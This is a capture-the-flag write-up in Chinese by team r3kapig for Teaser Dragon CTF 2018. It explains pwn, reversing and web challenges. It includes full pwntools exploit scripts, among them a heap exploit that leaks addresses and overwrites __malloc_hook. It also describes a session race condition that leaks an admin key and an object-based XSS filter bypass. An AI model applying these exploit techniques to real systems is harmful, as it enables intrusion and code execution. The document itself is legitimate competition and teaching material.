我们是由Eur3kA和flappypig组成的联合战队r3kapig。本周末,我们部分队员以娱乐心态参与了Dragon Sector举办的Teaser Dragon CTF 2018 ,没想到以第十名的成绩成功晋级11月在波兰举办的Dragon CTF 2018 Final。不过很不幸的是,我们在比赛结束之后没多久就解出了两道题,这使得我们错过了一波让排名更高的机会。我们决定把我们赛时做出来的题目外加赛后做出的两道题的writeup发出来分享给大家。
另外我们战队目前正在招募队员,欢迎想与我们一起玩的同学加入我们,尤其是Misc/Crypto的大佬,有意向的同学请联系[email protected]。给大佬们递茶。

PWN

Production

这个是一道非常有意思的题目,考验了一个选手的细心度(显然我们队的都是大老粗)
题目文件可以在https://github.com/Changochen/CTF/tree/master/2018/teaserDrangon 找到。
题目只有一个lyrics.cc,逻辑大概就是限制了你读flag的可能
其中的一个很重要的点是:源码中的assert在远程的binary里面被去掉了。怎么能发现这一点呢,在write里面可以很容易发现,如果你输入的长度不对,程序不会abort
得知了这个后,我们就很容易做了。

  1. 打开16个./data/../lyrics,然后读到有DrgnS
  2. 再随便打开12首歌,如./data/The Beatles/Girl
  3. 这个时候fd的数量是31(why?stdin,stdout,stderr!),我们打开./data/../flag, 绕过了第一个检查
  4. 那怎么读呢?利用读的时候栈不初始化,先把一首歌全部读完,再读flag,再读那首歌就可以了。

英文版的wp可以在https://changochen.github.io/2018/09/29/Teaser-Dragon-CTF-2018/ 找到

from pwn import *

remote_addr=['lyrics.hackable.software',4141]
#context.log_level=True

p=remote(remote_addr[0],remote_addr[1])

ru = lambda x : p.recvuntil(x)
sn = lambda x : p.send(x)
rl = lambda   : p.recvline()
sl = lambda x : p.sendline(x) 
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)

def cmd(command):
    sla("> ",command)

def bands():
    cmd("bands")

def songs(band):
    cmd("songs")
    sla("Band: ",band)

def _open(band,song):
    cmd("open")
    sla("Band: ",band)
    sla("Song: ",song)

def _read(idx):
    cmd("read")
    sla("ID: ",str(idx))

def _write(idx,content):
    cmd("write")
    sla("ID: ",str(idx))
    sla("length: ",str(len(content)+1))
    sa(": ",content)

def _close(idx):
    cmd("close")
    sla("ID: ",str(idx))

if __name__ == '__main__':
    for i in xrange(16):
        _open("..",'lyrics')

    for i in xrange(16):
        for j in xrange(24):
            _read(0)

    for i in xrange(12):
        _open('The Beatles','Girl')

    _open("..",'flag')
    for i in xrange(31):
        _read(0)
    _read(12)
    _read(0)
    p.interactive()

Fast Storage

题目文件可以在https://github.com/Changochen/CTF/tree/master/2018/teaserDrangon 找到。
考了一个冷门知识: abs(0x80000000)=0x80000000
代码中

v2 = hash1(name);
  v3 = hash2((unsigned __int8 *)name);
  v4 = hash3(name);
  idx = abs(v2) % 62;
  add_entries(idx, name, value);
  return add_bitmaps(idx, v3, v4);

如果hash1返回0x8000000,那么idx就是-2,使得bitmaps[]entries[]重合,这样我们就可以通过操作bitmaps来leak和修改entries

Leak

很简单,利用

char *__fastcall find_by_name(unsigned __int8 *a1)
{
  int v1; // ST24_4
  char v2; // ST20_1
  char v3; // al
  int v5; // [rsp+24h] [rbp-Ch]
  struct Entry *i; // [rsp+28h] [rbp-8h]

  v1 = hash1((char *)a1);
  v2 = hash2(a1);
  v3 = hash3(a1);
  v5 = abs(v1) % 62;
  if ( !(unsigned int)check(v5, v2, v3) )
    return 0LL;
  for ( i = entries[v5]; i && strcmp(i->name, (const char *)a1); i = i->next )
    ;
  return i->value;

中的check, 它会判断bitmaps中某一位是不是设置了,这样我们就可以bit by bit的leak出一个堆地址。

Exploit

有了堆地址,我们就可以伪造entry了。有堆溢出我们可以为所欲为。怎么leak出libc呢?改top size

z3辅助脚本

## more.py
#!/usr/bin/env python
# coding=utf-8
from z3 import *
import sys
s = Solver()
a = BitVec("a", 32)
b = BitVec("b", 32)
c = BitVec("c", 32)
d = BitVec("d", 32)
e = BitVec("e", 32)
f = BitVec("f", 32)

g = BitVec("g", 32)
h = BitVec("h", 32)

i = BitVec("i", 32)

i=(((((0x1337*a+1)*b+1)*c+1)*d+1)*g+1)*h+1
s.add(a<256,b<256,c<256,d<256,g<256,h<256,i<=0x7eFFFFFF)
s.add(a>0,b>0,c>0,d>0,g>0,h>0,i>0)

tmp=int(sys.argv[1])
if(tmp>=32):
    s.add(i%62==61)
    tmp-=32
else:
    s.add((i+2)%62==0)

e=((b<<8)+a)^((d<<8)+c)^((h<<8)+g)
s.add((((e >> 10) ^((e ^ (e >> 5))&0xFF))&0x1f)==tmp)
f=0
for w in range(8):
    f=f+((a>>w)&0x1)
    f=f+((b>>w)&0x1)
    f=f+((c>>w)&0x1)
    f=f+((d>>w)&0x1)
    f=f+((g>>w)&0x1)
    f=f+((h>>w)&0x1)

s.add((f&0x1f)==tmp)

if(s.check()):
    m=s.model()
    print(m[a]+m[b]+m[c]+m[d]+m[g]+m[h])

利用脚本

from pwn import *
import os
local=0
pc='./faststorage'
pc='/tmp/pwn/faststorage_debug'
remote_addr=['faststorage.hackable.software',1337]
aslr=False
#context.log_level=True
payload=open("payload",'rb').read()
libc=ELF('./libc.so.6')

if local==1:
    p = process(pc,aslr=aslr,env={'LD_PRELOAD': './libc.so.6'})
    #p = process(pc,aslr=aslr)
    gdb.attach(p,'c')
else:
    p=remote(remote_addr[0],remote_addr[1])

ru = lambda x : p.recvuntil(x)
sn = lambda x : p.send(x)
rl = lambda   : p.recvline()
sl = lambda x : p.sendline(x) 
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)

def lg(s,addr):
    print('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr))

def raddr(a=6):
    if(a==6):
        return u64(rv(a).ljust(8,'\x00'))
    else:
        return u64(rl().strip('\n').ljust(8,'\x00'))

def choice(idx):
    sla("> ",str(idx))

def add_entry(name,size,value):
    choice(1)
    sa(":",name)
    sla(":",str(size))
    sa(":",value)

def edit_entry(name,value):
    choice(3)
    sa(":",name)
    sa(":",value)

def print_entry(name):
    choice(2)
    sa(":",name)

def getcheck(idx):
    global payload
    res=''
    if idx<12:
        payloads=os.popen("python more.py "+str(idx)).read().strip('\n')
        payloads=payloads.split(' + ')
        for i in payloads:
            res+=p8(int(i))
    else:
        return payload[(idx-12)*6:(idx-12)*6+6]
    return res

if __name__ == '__main__':
    thename='\xa1\xf8\xe6\xa9'
    a=[]
    for i in range(32):
        a.append(getcheck(12+i))
        add_entry(a[i],0x10,'123')
    add_entry(thename,0x10,'fuckme')
    res=0
    for i in range(32):
        print_entry(a[i])
        if "No such entry!" in rl():
            continue
        res+=1<<(12+i)
    heap_addr=res+0x500000000000
    lg("heap addr",heap_addr)
    pl=p64(0)*1+p64(heap_addr+0xc30)+p64(heap_addr+0xd38+(0x1000<<47))
    add_entry(getcheck(5),0x80,pl)
    edit_entry(thename,p64(0x2d1))
    add_entry('1234',0x300,'1234')
    print_entry(thename)
    ru("Value: ")
    rv(16)
    libc_addr=raddr()-0x3c4e18
    lg("libc_addr",libc_addr)
    libc.address=libc_addr 
    pl=p64(0x21)+'1234\x00\x00\x00\x00'+p64(0)*4+p64(heap_addr+0xd40)+p64(libc.symbols['__malloc_hook']+(0x8<<48))
    edit_entry(thename,pl)
    edit_entry('1234',p64(libc.address+0xf1147))
    p.interactive()

同理,英文版的wp可以在https://changochen.github.io/2018/09/29/Teaser-Dragon-CTF-2018/ 找到

RE

Brutal Oldskull

硬核win32程序, 4个code作为密钥在%temp%目录下解密出一个子进程checker, checker校验final flag.

Chains of Trust

主程序连接服务器下载shellcode并执行, shellcode通过包含函数指针的结构体指针调用主程序中的函数(包括send,recv,exit等).
一共是86段shellcode, 全部有动态smc但解密套路相同, 通过ida脚本自动dump. 其中包括大量的通信上下文校验与反调试(ptrace, libc等), 过滤后剩下16段(0, 23, 26/33/84, 34/35/36/37, 49/50/51/52, 63, 74, 85).

shellcode有自身的context, 申请了内存后会将指针发送给服务器, 在后续的shellcode的中从服务器获取. 整个流程大量异步操作环环相扣, 不愧是chains of trust.

'''
#85
with open("data", "rb") as f: # dumped from the last shellcode
    buf = f.read()
data = [bytearray(buf[i*40:i*40+32]) for i in xrange(26)]

def once(n):
    key = \
    [
        0x9DF9,  0x65E, 0x3B94, 0xFAD9, 0xC3D9, 0xFE12, 0xA57B, 0x9089, 
        0x3FAF, 0xBB31, 0x4CAD, 0x1415, 0x74CD, 0xCF0A, 0x1CE1, 0xB55A, 
        0x54C6, 0x827F, 0x179D, 0x66D9, 0xFF80, 0x8126, 0x5579, 0x4AED, 
        0x5F7D, 0x430F, 0x2EE4, 0x129C, 0xDBCD, 0xEB50, 0x8DA8, 0xBDD1
    ]
    a = []
    for i in xrange(32):
        v = ((n >> 1) | (n << 15)) & 0xFFFF
        n = v ^ key[i]
        a.append(n & 0xFF)
    return bytearray(a)

t0 = []
for i in xrange(len(data)):
    for j in xrange(0x10000):
        if(once(j) == data[i]):
            t0.append(j)
            break
'''
#85
t0 = [18122, 16775, 21890, 24145, 22241, 26214, 13940, 13946, 13928, 13936, 13934, 13893, 10689, 5546, 5515, 5529, 5561, 5556, 5560, 5581, 16653, 16660, 16649, 16693, 16694, 16539]
t0 = map(lambda x: x^0x6666, t0) #74
sq = [0, 1, 2, 3, 4, 4, 4, 5, 6, 7, 8, 9, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 19, 20, 21, 22, 23, 24, 22, 25, 25]
t1 = map(lambda x: t0[x], sq)

#74
t2 = [[],[],[],[]]
for i in xrange(32):
    t2[i/8].append(t1[i])

#49/50/51/52
t2[3] = map(lambda x: x-0x26FD, t2[3])
t2[2] = map(lambda x: x^0x73AB, t2[2])
for i in xrange(8):
    t2[1][i] -= i + 0x4FA0
t2[0] = map(lambda x: x/123, t2[0])

#63
flag = []
for i in xrange(32):
    flag.append(t2[i % 4][i / 4])
print(str(bytearray(flag)))

MISC

WEB

3NTERPRISE s0lution

每个用户有一个key,用户可以添加note,然后note明文会和key异或后存储起来,查看时会用当前用户的key进行解密。id为1的note是admin写的,很明显拿到admin的key后解密这个note就行了。
题目给出了webapp.py的源码,但是没有给出backend.py的源码。读源码发现登录经过了两步:
首先是/login/user

@app.route('/login/user', methods=['POST'])
def do_login_user_post():
  username = get_required_params("POST", ['login'])['login']
  backend.cache_save(
    sid=flask.session.sid,
    value=backend.get_key_for_user(username)
  )
  state = backend.check_user_state(username)
  if state > 0:
    add_msg("user has {} state code ;/ contact backend admin ... ".format(state))
    return do_render()
  flask.session[K_LOGGED_IN] = False
  flask.session[K_AUTH_USER] = username

  return do_302("/login/auth")

这个函数分为两步:

  1. 缓存当前用户sid对应的key
    backend.cache_save(
     sid=flask.session.sid,
     value=backend.get_key_for_user(username)
    )
    
  2. 设置session[K_LOGGED_IN]和session[K_AUTH_USER]
    flask.session[K_LOGGED_IN] = False
    flask.session[K_AUTH_USER] = username
    
    然后验证密码后登陆。

添加note的逻辑如下,会根据sid从cache中取出key,然后和note明文异或加密并存储。

@app.route("/note/add", methods=['POST'])
@loginzone
def do_note_add_post():
  text = get_required_params("POST", ["text"])["text"]
  key = backend.cache_load(flask.session.sid)
  if key is None:
    raise WebException("Cached key")
  text = backend.xor_1337_encrypt(
    data=text,
    key=key,
  )
  note = model.Notes(
    username=flask.session[K_LOGGED_USER],
    message=backend.hex_encode(text),
  )
  sql_session.add(note)
  sql_session.commit()
  add_msg("Done !")
  return do_render()

如果在添加note的时候取出的key是admin的key,那么我们异或这个note的明文(自己输入的)和密文(可以查看)就能得到key。
我们利用/login/user的第一步操作(缓存当前用户sid对应的key)就可以修改key,即往/login/user传入login=admin即可。当然之后session[K_LOGGED_IN]会被设置为False,所以需要竞争。

具体操作流程(均在同一session下):

  1. 首先登录自己的账号;
  2. 然后不断添加note,内容为aaaaa....(尽可能长),可以用Burpsuite的Intruder操作;
  3. 登录admin

这个时候查看自己新添加的一系列note,找到用自己的key解不出的密文,说明该密文用admin的key加密了。如图,不知为何会登上一个叫seadog的号,不过密文是用admin的key进行加密的。

写脚本,解密id为1的note即可

a = '2ED0F9CDF3D3B08FCDCE032388DAE07C8E1B4B1298B7256AA31A3C1C1E4B5D5AE28196BF88174B1BF041E5897E941AA34F404BA28BBAA12A45726FBD6ACF45184DE9D7A0509A5B60EBA6AFC64FAF6CDBD3270000298DCB431D0C3CACBFF9B9F0B618FA5B'

b = 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'

c = '07D8B68CDB92A687DFC74217C9D7F47E84540A3C97BA3D2B8B5B3E1C110A4C54F09392ADC910461BF61AA4AC6D921591556D1AAFCB8495144C27748369FC101847D7C2A9508F6534FFB7BCF859FD3ED8863611400F9ECB56064C20EDF0B6F6B1BF1CBB522A91F0C9B2'
ans = ''
for i in range(0,200,2):
    x = int(a[i:i+2],16)^97^int(c[i:i+2],16)
    ans+=chr(x)
    print(ans)

Nodepad

题目提供了源码,可发现对title和content进行了过滤,不允许'<','>',但是当传入的title或content是字典(对象)的时候是可以被绕过的。
例如{'a':'<'}即可绕过过滤
源链接

Hacking more

...